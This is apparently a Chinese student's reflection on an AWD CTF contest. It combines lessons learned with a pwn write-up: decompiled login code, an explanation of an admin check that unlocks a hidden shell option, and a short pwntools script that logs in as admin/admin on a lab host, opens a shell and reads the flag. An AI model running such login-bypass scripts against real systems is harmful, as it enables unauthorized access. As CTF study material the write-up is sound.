|
之前準(zhǔn)備的waf和監(jiān)控腳本都沒用上,因?yàn)樯狭四_本后三臺web服務(wù)器都變成了異常,但聽學(xué)長都能用,所以不知道是哪里出了問題,之后都在忙著做pwn題和寫腳本,以及手動上傳flag,導(dǎo)致四臺服務(wù)器全程裸奔,上午一度掉到了倒數(shù)四十多名,也就是倒數(shù)第三,所幸福建省內(nèi)的pwn手較少,下午也是靠著pwn服務(wù)器進(jìn)了前20名,拿了個優(yōu)勝獎。 這一次自身的不足: 第一點(diǎn)是腳本編寫能力不足,在沒有網(wǎng)絡(luò)的情況下沒辦法去查怎么用python的request直接往網(wǎng)頁上傳漏洞。最后只能讓隊(duì)友幫忙寫四十多個python腳本,然后寫一個執(zhí)行所有python文件的bash腳本,就這么笨的方法我還要手動ctrl+c結(jié)束那些對方關(guān)閉pwn端口的程序。本來12點(diǎn)多做出了pwn題,但是吃飯和寫腳本的一個多小時基本只能靠隊(duì)友一個個端口發(fā)payload拿flag,下午也因?yàn)?分鐘一輪3分多鐘要花在復(fù)制粘貼提交flag上導(dǎo)致我沒辦法去patch pwn程序(因?yàn)椴皇炀?,可能還要琢磨一兩個小時)。 第二點(diǎn)是服務(wù)器異常沒有及時重置服務(wù)器,導(dǎo)致了額外的失分,畢竟被攻陷一輪才丟5分,服務(wù)器異常則是10分。 第三點(diǎn)是準(zhǔn)備不充分,之前明明了解了root權(quán)限下的防御方式,也看了提權(quán)的文章,這次比賽也是比較好提權(quán)的ubuntu16.04,結(jié)果沒有提前準(zhǔn)備提權(quán)的EXP,還是報了比賽期間也許不禁止手機(jī)的僥幸心理。 接下來是pwn的write up: 首先看main函數(shù)  
其中if語句判斷admin賬號是否登陸,如果admin登陸unk_6075A0為1,sub_402CA6返回1,那么通過驗(yàn)證獲取shell(這一點(diǎn)可以通過直接輸入1650553704,收到提示不是admin用戶) 為此接下來查看登陸程序: 
這個程序非常長,我花了一上午沒有看出來,主要是卡在各種函數(shù)不認(rèn)識,比如fstream、open、is_open之類的,IDA每次出現(xiàn)這種std開頭的超長函數(shù)都讓我難以理解,可能是大腦抗拒去閱讀它們吧,希望能早日適應(yīng)。(其中name和password兩個參數(shù)是我改名后的) std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(&name); std::operator<<<std::char_traits<char>>(&std::cout, "Please input you name: "); std::operator>><char,std::char_traits<char>,std::allocator<char>>(&std::cin, &name); std::operator<<<std::char_traits<char>>(&std::cout, "Please input you password: "); std::operator>><char,std::char_traits<char>>(&std::cin, &password); std::basic_fstream<char,std::char_traits<char>>::basic_fstream((__int64)&v23); std::basic_fstream<char,std::char_traits<char>>::open(&v23, aUserdata, 8LL); if ( (unsigned __int8)std::basic_fstream<char,std::char_traits<char>>::is_open((__int64)&v23) ^ 1 ) v1 = std::operator<<<std::char_traits<char>>(&std::cout, "can't open file "); v2 = std::operator<<<std::char_traits<char>>(v1, aUserdata); std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>); std::allocator<char>::allocator(&v28); std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(&v27, "tmp", &v28); v3 = sub_404F11(&name, &v27); std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(&v27); std::allocator<char>::~allocator(&v28); v4 = std::operator<<<std::char_traits<char>>(&std::cout, aUserdata); std::ostream::operator<<(v4, &std::endl<char,std::char_traits<char>>); sub_402ABE(&password, (__int64)&v18); std::allocator<char>::allocator(&v29); std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(&v17, &v18, &v29); std::allocator<char>::~allocator(&v29); std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(&v16); std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(&v15); while ( (unsigned __int8)std::basic_ios<char,std::char_traits<char>>::eof(&v24) ^ 1 ) v5 = std::operator>><char,std::char_traits<char>,std::allocator<char>>(&v23, &v16); std::operator>><char,std::char_traits<char>,std::allocator<char>>(v5, &v15); v6 = (unsigned __int8)sub_404F11(&v16, &name) || (unsigned __int8)sub_404F11(&v15, &v17); v7 = std::operator<<<std::char_traits<char>>(&std::cout, "welcome "); v8 = std::operator<<<char,std::char_traits<char>,std::allocator<char>>(v7, &name); std::ostream::operator<<(v8, &std::endl<char,std::char_traits<char>>); *a1 = sub_404F95((__int64)&v16, (__int64)"admin") != 0;//重點(diǎn)?。。。?/div> std::basic_fstream<char,std::char_traits<char>>::close(&v23); v9 = (unsigned __int8)sub_404F11(&v16, &name) && (unsigned __int8)sub_404FBF(&v15, &v17); v10 = std::operator<<<std::char_traits<char>>(&std::cout, "Password error!"); std::ostream::operator<<(v10, &std::endl<char,std::char_traits<char>>); std::basic_fstream<char,std::char_traits<char>>::close(&v23); v11 = (unsigned __int8)sub_404FBF(&v16, &name) && (unsigned __int8)sub_404F11(&v15, &v17); v12 = std::operator<<<std::char_traits<char>>(&std::cout, "username error!"); std::ostream::operator<<(v12, &std::endl<char,std::char_traits<char>>); std::basic_fstream<char,std::char_traits<char>>::close(&v23); std::basic_fstream<char,std::char_traits<char>>::close(&v23); v13 = std::operator<<<std::char_traits<char>>(&std::cout, "username does not exist!"); std::ostream::operator<<(v13, &std::endl<char,std::char_traits<char>>); std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(&v15); std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(&v16); std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(&v17); std::basic_fstream<char,std::char_traits<char>>::~basic_fstream(&v23); return std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(&name); 看似非常長的程序,其實(shí)就是讀取根目錄下的UserData文件,里面有三行,分別是賬號admin guest ctf,空格后跟著一串加密后的密碼,只要輸入的賬號密碼與之匹配就行了。整段代碼刨除一大堆判斷是否能打開文件、賬號密碼是否匹配外,只有兩行是我們需要的 *a1 = sub_404F95((__int64)&v16, (__int64)"admin") != 0; a1[1] = 1; 
可以看到只要輸入的是admin,那么sub_402CA6就會返回1,從而通過if驗(yàn)證,這時候輸入1650553704就能得到shell (其實(shí)我都沒看完程序,因?yàn)橹虚g沒仔細(xì)看,沒發(fā)現(xiàn)UserData里的密碼是加密后的,因?yàn)闆]法解密就隨便試出了賬號與密碼相同。。。) 構(gòu)造payload #context.log_level = 'debug' s=remote("172.16.5.10",5066)#連接十號主機(jī) s.sendlineafter("choose:","1")#選擇登陸 s.sendlineafter("name: ","admin")#輸入賬號密碼 s.sendlineafter("password: ","admin") s.sendlineafter("your choose:","1650553704")#選擇執(zhí)行system("/bin/sh") s.sendlineafter("shell:\n","cat flag")#獲取flag
其實(shí)這次pwn服務(wù)器拿flag挺簡單的,考察的只是看IDA代碼的基本能力,花了兩個多小時才拿到flag也是自己基本功不夠。 最后再加上一些這次AWD學(xué)到的常識: 

說明書是這樣的,其中登陸本地服務(wù)器就是輸入172.16.9.0/24的網(wǎng)址,如果是web網(wǎng)頁就直接輸入ip地址 web服務(wù)器就用mobaXtern之類的ssh工具連接就好,pwn服務(wù)器也是一樣。
|